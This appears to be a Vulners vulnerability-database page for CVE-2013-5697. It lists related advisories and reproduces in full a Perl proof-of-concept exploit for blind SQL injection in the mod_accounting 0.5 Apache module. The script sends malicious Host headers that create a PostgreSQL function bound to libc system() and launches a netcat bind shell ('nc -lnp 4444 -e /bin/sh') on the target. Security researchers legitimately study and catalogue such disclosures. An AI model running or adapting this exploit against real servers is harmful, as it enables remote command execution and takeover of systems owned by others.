| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| mod_accounting 0.5 Blind SQL Injection Vulnerability | 27 Sep 201300:00 | – | zdt | |
| CVE-2013-5697 | 30 Sep 201321:00 | – | cve | |
| CVE-2013-5697 | 30 Sep 201321:00 | – | cvelist | |
| mod_accounting Module 0.5 - Blind SQL Injection | 30 Sep 201300:00 | – | exploitdb | |
| EUVD-2013-5534 | 7 Oct 202500:30 | – | euvd | |
| mod_accounting Module 0.5 - Blind SQL Injection | 30 Sep 201300:00 | – | exploitpack | |
| CVE-2013-5697 | 30 Sep 201321:55 | – | nvd | |
| mod_accounting 0.5 Blind SQL Injection | 26 Sep 201300:00 | – | packetstorm | |
| Sql injection | 30 Sep 201321:55 | – | prion | |
| CVE-2013-5697 | 22 May 202505:35 | – | redhatcve |
#!/usr/bin/perl
# PoC of blind SQL injection in the mod_accounting/0.5 Apache module
# Injection can occur via the Host header
# As the injection occurs in a user defined insert statement a bit of trial
and error is required
# Database operations occurs asyncronous to page response so timing attacks
wont work
# This one is completely blind
# DB can be mysql or postgres, this PoC only covers postgres
# PoC executes netcat to listen on port 4444 (requires dba privileges)
use IO::Socket::INET;
print "#----------------------------------------------#\n";
print "| mod_accounting/0.5 PoC exploit by \ () Wireghoul |\n";
print "| www.justanotherhacker.com |\n";
print "#----------Command execution via SQLi----------#\n";
print "[*] Enumerating blind injection vectors:\n";
my @endings = ("'));", '"));', "));", "');", '");', ");", "';", '";',";");
# These should terminate most insert statements
#my @endings = ( "');" );
my $shell = 'nc -lnp 4444 -e /bin/sh';
my $cnt = 0;
my $content = "CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS
'/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT; SELECT system('$shell');";
foreach $end (@endings) {
$cnt++;
my $sock = IO::Socket::INET->new("$ARGV[0]:$ARGV[1]") or die "Unable to
connect to $ARGV[0]:$ARGV[1]: $!\n";
my $str = "GET / HTTP/1.1\r\nHost: $ARGV[0]$cnt$end $content --
\r\n\r\n"; # from mysql.user into outfile '/tmp/pocpoc$cnt.txt'; --
\r\n\r\n";
print "[-] Trying $end\n";
print $sock $str;
#print "Sent $end\n";
close ($sock);
}
print "[*] Done, remote server should have executed $shell\n";
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation